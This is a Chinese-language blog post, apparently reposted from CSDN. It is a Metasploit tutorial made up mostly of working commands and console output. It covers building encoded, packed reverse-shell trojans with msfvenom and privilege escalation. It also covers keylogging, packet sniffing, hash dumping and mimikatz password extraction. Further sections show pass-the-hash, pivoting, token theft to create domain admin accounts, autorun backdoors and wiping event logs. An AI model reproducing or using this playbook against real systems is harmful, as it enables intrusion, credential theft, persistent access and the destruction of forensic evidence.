渗透工具之msf

转载自

csdn:忆蓉之心

简介

它是一个免费的、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数百个已知软件漏洞的专业级漏洞攻击工具。

环境

工具:msf4

伪装木马

原理:msfvenom是msfpayload,msfencode的结合体,它的优点是单一,命令行,和效率.利用msfvenom生成木马程序,并在目标机上执行,在本地监听上线。

构造shellcode常用命令

 
  1. msfvenom -p windows/exec CMD=calc.exe -b "\x00\x0a\x0b\x27\x36\xce\xc1\x42\xa9\x0d" -f c

  2.  
  3. msfvenom -p windows/exec CMD=calc.exe -b "\x00\x0a\x0b\x27\x36\xce\xc1\x42\xa9\x0d" -f python

常用命令

查看帮助

msfvenom -h

这里写图片描述

查看一个Payload具体需要什么参数?

msfvenom -p windows/meterpreter/bind_tcp --payload-options

这里写图片描述

自己本地生成的bind_tcp的payload并不能在Windows机子上运行 (提示不是可用的Win32程序;如果大家也有遇到这种错误的话,推荐用msfvenom生成c的shellcode 然后自己编译为exe后运行。使用msfvenom –list可以查看所有的payload encoder nops。

设置LHOST,即监听主机IP和LPORT监听端口,我是本地局域网测试,所以IP是192.168.1.152,端口设置成443.所以最后连接会通向192.168.1.152的443端口。

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b '\x00' LHOST=192.168.1.152 LPORT=443 -f exe > c.exe

这里写图片描述

参数说明:

 
  1. -p payload

  2. -e 编码方式

  3. -i 编码次数

  4. -b 在生成的程序中避免出现的值

  5. LHOST,LPORT 监听上线的主机IP和端口

  6. -f exe 生成EXE格式

upx加壳

说明:upx只是压缩壳工具;如果需要增大破解难度,需要添加加密壳。

upx -9 c.exe

这里写图片描述

本机监听

因为之前用的是reverse_tcp,所以设置如下:

 
  1. msf > use exploit/multi/handler

  2. msf exploit(handler) > set payload windows/meterpreter/reverset_tcp

这里写图片描述

验证

这里写图片描述

基本命令

 
  1. background # 让meterpreter处于后台模式

  2. sessions -i number # 与会话进行交互,number表示第n个session

  3. quit # 退出会话

  4. shell # 获得命令行

  5. cat c:\\boot.ini # 查看文件内容

  6. getwd # 查看当前工作目录 work directory

  7. upload /root/Desktop/netcat.exe c:\\ # 上传文件到目标机上

  8. download 0xfa.txt /root/Desktop/ # 下载文件到本机上

  9. edit c:\\boot.ini # 编辑文件

  10. search -d d:\\www -f web.config # search 文件

  11. ps # 查看当前活跃进程

  12. migrate pid # 将Meterpreter会话移植到进程数位pid的进程中

  13. execute -H -i -f cmd.exe # 创建新进程cmd.exe,-H不可见,-i交互

  14. getpid # 获取当前进程的pid

  15. kill pid # 杀死进程

  16. getuid # 查看权限

  17. sysinfo # 查看目标机系统信息,如机器名,操作系统等

  18. getsystem #提权操作

  19. timestompc:/a.doc -c "10/27/2015 14:22:11" #修改文件的创建时间

迁移进程

 
  1. meterpreter > ps

  2. 自行选择PID

  3. meterpreter > migrate pid

提权操作

 
  1. getsystem 大部分都会失败 他只尝试了4个Payload。

  2. meterpreter > getuid

  3. Server username: Testing\Croxy

  4. meterpreter > getsystem

  5. [-] priv_elevate_getsystem: Operation failed: Access is denied.

  6. 使用MS14-058之类的Exp进行提权

  7. meterpreter > background

  8. [*] Backgrounding session 3..

  9. msf exploit(handler) > use exploit/windows/local/ms14_058_track_popup_menu

  10. msf exploit(ms14_058_track_popup_menu) > set SESSION 3

获取敏感信息

 
  1. run post/windows/gather/checkvm #是否虚拟机

  2. run post/windows/gather/enum_applications #获取安装软件信息

  3. run post/windows/gather/dumplinks #获取最近的文件操作

  4. run post/windows/gather/enum_ie #获取IE缓存

  5. run post/windows/gather/enum_chrome #获取Chrome缓存

  6. run scraper #获取常见信息

  7. #保存在~/.msf4/logs/scripts/scraper/目录下

键盘记录

 
  1. meterpreter > keyscan_start

  2. Starting the keystroke sniffer...

  3. meterpreter > keyscan_dump

  4. Dumping captured keystrokes...

  5. dir <Return> cd <Ctrl> <LCtrl>

  6. meterpreter > keyscan_stop

  7. Stopping the keystroke sniffer...

网络嗅探

 
  1. meterpreter > use sniffer

  2. Loading extension sniffer...success.

  3. meterpreter > sniffer_interfaces

  4. 1 - 'WAN Miniport (Network Monitor)' ( type:3 mtu:1514 usable:true dhcp:false wifi:false )

  5. 2 - 'Intel(R) PRO/1000 MT Desktop Adapter' ( type:0 mtu:1514 usable:true dhcp:true wifi:false )

  6. 3 - 'Cisco Systems VPN Adapter' ( type:4294967295 mtu:0 usable:false dhcp:false wifi:false )

  7. meterpreter > sniffer_start 2

  8. [*] Capture started on interface 2 (50000 packet buffer)

  9. meterpreter > sniffer_dump 2 /tmp/test2.cap

  10. [*] Flushing packet capture buffer for interface 2...

  11. [*] Flushed 1176 packets (443692 bytes)

  12. [*] Downloaded 100% (443692/443692)...

  13. [*] Download completed, converting to PCAP...

  14. [*] PCAP file written to /tmp/test2.cap

获取hash

 
  1. meterpreter > run post/windows/gather/smart_hashdump

  2. [*] Running module against TESTING

  3. [*] Hashes will be saved to the database if one is connected.

  4. [*] Hashes will be saved in loot in JtR password file format to:

  5. [*] /home/croxy/.msf4/loot/20150929225044_default_10.0.2.15_windows.hashes_407551.txt

  6. [*] Dumping password hashes...

  7. [*] Running as SYSTEM extracting hashes from registry

  8. [*] Obtaining the boot key...

  9. [*] Calculating the hboot key using SYSKEY 8c2c8d96e92a8ccfc407a1ca48531239...

  10. [*] Obtaining the user list and keys...

  11. [*] Decrypting user keys...

  12. [*] Dumping password hints...

  13. [+] Croxy:"Whoareyou"

  14. [*] Dumping password hashes...

  15. [+] Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

  16. [+] HomeGroupUser$:1002:aad3b435b51404eeaad3b435b51404ee:e3f0347f8b369cac49e62a18e34834c0:::

  17. [+] test123:1003:aad3b435b51404eeaad3b435b51404ee:0687211d2894295829686a18ae83c56d:::

获取明文密码

 
  1. meterpreter > getuid

  2. Server username: NT AUTHORITY\SYSTEM

  3.  
  4. meterpreter > load mimikatz

  5. Loading extension mimikatz...success.

  6. meterpreter > msv

  7. [+] Running as SYSTEM

  8. [*] Retrieving msv credentials

  9.  
  10. meterpreter > kerberos

  11. [+] Running as SYSTEM

  12. [*] Retrieving kerberos credentials

  13. kerberos credentials

  14. ====================

  15.  
  16. meterpreter > mimikatz_command -f samdump::hashes

  17. Ordinateur : Testing

  18. BootKey : 8c2c8d96e92a8ccfc407a1ca48531239

  19.  
  20. meterpreter > mimikatz_command -f sekurlsa::searchPasswords

  21. [0] { Croxy ; Testing ; hehe }

  22. [1] { test ; Testing ; test }

通过hash获取权限

 
  1. msf > use exploit/windows/smb/psexec

  2. msf exploit(psexec) > show options

  3.  
  4. Module options (exploit/windows/smb/psexec):

  5.  
  6. Name Current Setting Required Description

  7. ---- --------------- -------- -----------

  8. RHOST yes The target address

  9. RPORT 445 yes Set the SMB service port

  10. SHARE ADMIN$ yes The share to connect to, can be an admi n share

  11.  
  12. (ADMIN$,C$,...) or a normal read/write folder share

  13. SMBDomain WORKGROUP no The Windows domain to use for authentic ation

  14. SMBPass no The password for the specified username

  15. SMBUser no The username to authenticate as

  16.  
  17. Exploit target:

  18.  
  19. Id Name

  20. -- ----

  21. 0 Automatic

  22.  
  23. msf exploit(psexec) > set RHOST 192.168.0.254

  24. RHOST => 192.168.0.254

  25. msf exploit(psexec) > set SMBUser isosky

  26. SMBUser => isosky

  27. msf exploit(psexec) > set SMBPass 01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A82807973B89537

  28.  
  29. SMBPass => 01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A82807973B89537

  30. msf exploit(psexec) > exploit

  31. [*] Started reverse handler on 192.168.0.3:4444

  32. [*] Connecting to the server...

  33. [*] Authenticating to 192.168.0.254:445|WORKGROUP as user 'isosky'...

  34. [*] Uploading payload...

  35. [*] Created \UGdecsam.exe...

  36. [*] Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.0.254[\svcctl] ...

  37. [*] Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.0.254[\svcctl] ...

  38. [*] Obtaining a service manager handle...

  39. [*] Creating a new service (MZsCnzjn - "MrZdoQwIlbBIYZQJyumxYX")...

  40. [*] Closing service handle...

  41. [*] Opening service...

  42. [*] Starting the service...

  43. [*] Removing the service...

  44. [*] Closing service handle...

  45. [*] Deleting \UGdecsam.exe...

  46. [*] Sending stage (749056 bytes) to 192.168.0.254

  47. [*] Meterpreter session 1 opened (192.168.0.3:4444 -> 192.168.0.254:1877)

内网渗透

端口转发 (将远程主机3389端口转发到本地1234端口上)

 
  1. meterpreter > portfwd add -l 1234 -p 3389 -r 10.42.0.54

  2. [*] Local TCP relay created: 0.0.0.0:8081 <-> 10.42.0.54:80

内网代理

 
  1. meterpreter > run autoroute -s 10.42.0`.54

  2. [*] Adding a route to 10.42.0.54/255.255.255.0...

  3. [+] Added route to 10.42.0.54/255.255.255.0 via 10.42.0.54

  4. [*] Use the -p option to list all active routes

  5. meterpreter > background

  6. [*] Backgrounding session 1...

  7. msf exploit(handler) > use auxiliary/server/socks4a

  8. msf auxiliary(socks4a) > show options

  9.  
  10. Module options (auxiliary/server/socks4a):

  11. Name Current Setting Required Description

  12. ---- --------------- -------- -----------

  13. SRVHOST 0.0.0.0 yes The address to listen on

  14. SRVPORT 1080 yes The port to listen on.

  15.  
  16. Auxiliary action:

  17. Name Description

  18. ---- -----------

  19. Proxy

  20.  
  21. msf auxiliary(socks4a) > route print

  22. Active Routing Table

  23. ====================

  24. Subnet Netmask Gateway

  25. ------ ------- -------

  26. 10.42.0.54 255.255.255.0 Session 1

  27.  
  28. msf auxiliary(socks4a) > ifconfig

  29. [*] exec: ifconfig

  30.  
  31. msf auxiliary(socks4a) > set SRVHOST xxx.xxx.xx.xx

  32. SRVHOST => xxx.xxx.xx.xx (xxx.xxx.xx.xx为自己运行msf的vps机子)

  33.  
  34. msf auxiliary(socks4a) > exploit

  35. [*] Auxiliary module execution completed

  36. [*] Starting the socks4a proxy server

之后使用proxychains 设置socks4代理 链接vps上的1080端口 就可以访问内网了。

SSH代理

 
  1. msf > load meta_ssh

  2. msf > use multi/ssh/login_password

  3. msf > set RHOST 192.168.56.3

  4. RHOST => 192.168.56.3

  5. msf > set USER test

  6. USER => test

  7. msf > set PASS reverse

  8. PASS => reverse

  9. msf > set PAYLOAD ssh/metassh_session

  10. PAYLOAD => ssh/metassh_session

  11. msf > exploit -z

  12. [*] Connecting to [email protected]:22 with password reverse

  13. [*] metaSSH session 1 opened (127.0.0.1 -> 192.168.56.3:22) at 2011-12-28 03:51:16 +1300

  14. [*] Session 1 created in the background.

  15. msf > route add 192.168.57.0 255.255.255.0 1

之后就是愉快的内网扫描了。 
当然还是推荐直接用ssh -f -N -D 127.0.0.1:6666 [email protected]

偷取token

 
  1. meterpreter>ps #查看目标机器进程,找出域控账户运行的进程ID

  2. meterpreter>steal_token pid

  3. meterpreter > getuid

  4. Server username: NT AUTHORITY\SYSTEM

  5. meterpreter > load incognito

  6. Loading extension incognito...success.

  7. meterpreter > list_tokens -u

  8.  
  9. Delegation Tokens Available

  10. ========================================

  11. IIS APPPOOL\zyk

  12. NT AUTHORITY\IUSR

  13. NT AUTHORITY\LOCAL SERVICE

  14. NT AUTHORITY\NETWORK SERVICE

  15. NT AUTHORITY\SYSTEM

  16. QLWEB\Administrator

  17.  
  18. Impersonation Tokens Available

  19. ========================================

  20. NT AUTHORITY\ANONYMOUS LOGON

  21.  
  22. meterpreter > impersonate_token QLWEB\\Administrator

  23. [+] Delegation token available

  24. [+] Successfully impersonated user QLWEB\Administrator

  25. meterpreter > getuid

  26. Server username: QLWEB\Administrator

  27. meterpreter>add_user 0xfa funny –h192.168.3.98 #在域控主机上添加账户

  28. meterpreter>add_group_user “DomainAdmins” 0xfa –h192.168.3.98 #将账户添加至域管理员组

内网扫描

 
  1. meterpreter > run autoroute -s 192.168.3.98

  2. meterpreter > background

  3. [*] Backgrounding session 2...

  4. msf exploit(handler) > use auxiliary/scanner/portscan/tcp

  5. msf auxiliary(tcp) > set PORTS 80,8080,21,22,3389,445,1433,3306

  6. PORTS => 80,8080,21,22,3389,445,1433,3306

  7. msf auxiliary(tcp) > set RHOSTS 192.168.3.1/24

  8. RHOSTS => 192.168.3.1/24

  9. msf auxiliary(tcp) > set THERADS 10

  10. THERADS => 10

  11. msf auxiliary(tcp) > exploit

后门

一个vbs后门,写入了开机启动项;但是容易被发现,还是需要大家发挥自己的智慧。

 
  1. meterpreter > run persistence -X -i 5 -p 23333 -r 10.42.0.1

  2. [*] Running Persistance Script

  3. [*] Resource file for cleanup created at /home/croxy/.msf4/logs/persistence/TESTING_20150930.3914/TESTING_20150930.3914.rc

  4. [*] Creating Payload=windows/meterpreter/reverse_tcp LHOST=10.42.0.1 LPORT=23333

  5. [*] Persistent agent script is 148453 bytes long

  6. [+] Persistent Script written to C:\Users\Croxy\AppData\Local\Temp\ulZpjVBN.vbs

  7. [*] Executing script C:\Users\Croxy\AppData\Local\Temp\ulZpjVBN.vbs

  8. [+] Agent executed with PID 4140

  9. [*] Installing into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\okiASNRzcLenulr

  10. [+] Installed into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\okiASNRzcLenulr

  11. Meterpreter服务后门

  12. meterpreter > run metsvc

  13. [*] Creating a meterpreter service on port 31337

  14. [*] Creating a temporary installation directory C:\Users\Croxy\AppData\Local\Temp\tuIKWqmuO...

  15. [*] >> Uploading metsrv.x86.dll...

  16. [*] >> Uploading metsvc-server.exe...

  17. [*] >> Uploading metsvc.exe...

  18. [*] Starting the service...

  19. * Installing service metsvc

  20. * Starting service

  21. * Service metsvc successfully installed.

之后电脑就默默生成了一个自启服务meterpreter;然后连接后门。

 
  1. msf exploit(handler) > use exploit/multi/handler

  2. msf exploit(handler) > set payload windows/metsvc_bind_tcp

  3. payload => windows/metsvc_bind_tcp

  4. msf exploit(handler) > set RHOST 10.42.0.54

  5. RHOST => 10.42.0.54

  6. msf exploit(handler) > set LPORT 31337

  7. LPORT => 31337

  8. msf exploit(handler) > exploit

清理痕迹

 
  1. meterpreter > clearev

  2. [*] Wiping 12348 records from Application...

  3. [*] Wiping 1345 records from System...

  4. [*] Wiping 3 records from Security...

  5.  
  6. meterpreter > timestomp

一些常用的破解模块

auxiliary/scanner/mssql/mssql_login 
auxiliary/scanner/ftp/ftp_login 
auxiliary/scanner/ssh/ssh_login 
auxiliary/scanner/telnet/telnet_login 
auxiliary/scanner/smb/smb_login 
auxiliary/scanner/mssql/mssql_login 
auxiliary/scanner/mysql/mysql_login 
auxiliary/scanner/oracle/oracle_login 
auxiliary/scanner/postgres/postgres_login 
auxiliary/scanner/vnc/vnc_login 
auxiliary/scanner/pcanywhere/pcanywhere_login 
auxiliary/scanner/snmp/snmp_login 
auxiliary/scanner/ftp/anonymous

一些好用的模块

auxiliary/admin/realvnc_41_bypass (Bypass VNCV4网上也有利用工具) 
auxiliary/admin/cisco/cisco_secure_acs_bypass (cisco Bypass 版本5.1或者未打补丁5.2版 洞略老) 
auxiliary/admin/http/jboss_deploymentfilerepository (内网遇到Jboss最爱:)) 
auxiliary/admin/http/dlink_dir_300_600_exec_noauth (Dlink 命令执行:) 
auxiliary/admin/mssql/mssql_exec (用爆破得到的sa弱口令进行执行命令 没回显:() 
auxiliary/scanner/http/jboss_vulnscan (Jboss 内网渗透的好朋友) 
auxiliary/admin/mysql/mysql_sql (用爆破得到的弱口令执行sql语句:) 
auxiliary/admin/oracle/post_exploitation/win32exec (爆破得到Oracle弱口令来Win32命令执行) 
auxiliary/admin/postgres/postgres_sql (爆破得到的postgres用户来执行sql语句)

一些好用的脚本

uxiliary/scanner/rsync/modules_list (Rsync) 
auxiliary/scanner/misc/redis_server (Redis) 
auxiliary/scanner/ssl/openssl_heartbleed (心脏滴血) 
auxiliary/scanner/mongodb/mongodb_login (Mongodb) 
auxiliary/scanner/elasticsearch/indices_enum (elasticsearch) 
auxiliary/scanner/http/axis_local_file_include (axis本地文件包含) 
auxiliary/scanner/http/http_put (http Put) 
auxiliary/scanner/http/gitlab_user_enum (获取内网gitlab用户) 
auxiliary/scanner/http/jenkins_enum (获取内网jenkins用户) 
auxiliary/scanner/http/svn_scanner (svn Hunter) 
auxiliary/scanner/http/tomcat_mgr_login (Tomcat 爆破) 
auxiliary/scanner/http/zabbix_login (Zabbix )

猜你喜欢

转载自blog.csdn.net/rentian1/article/details/88921336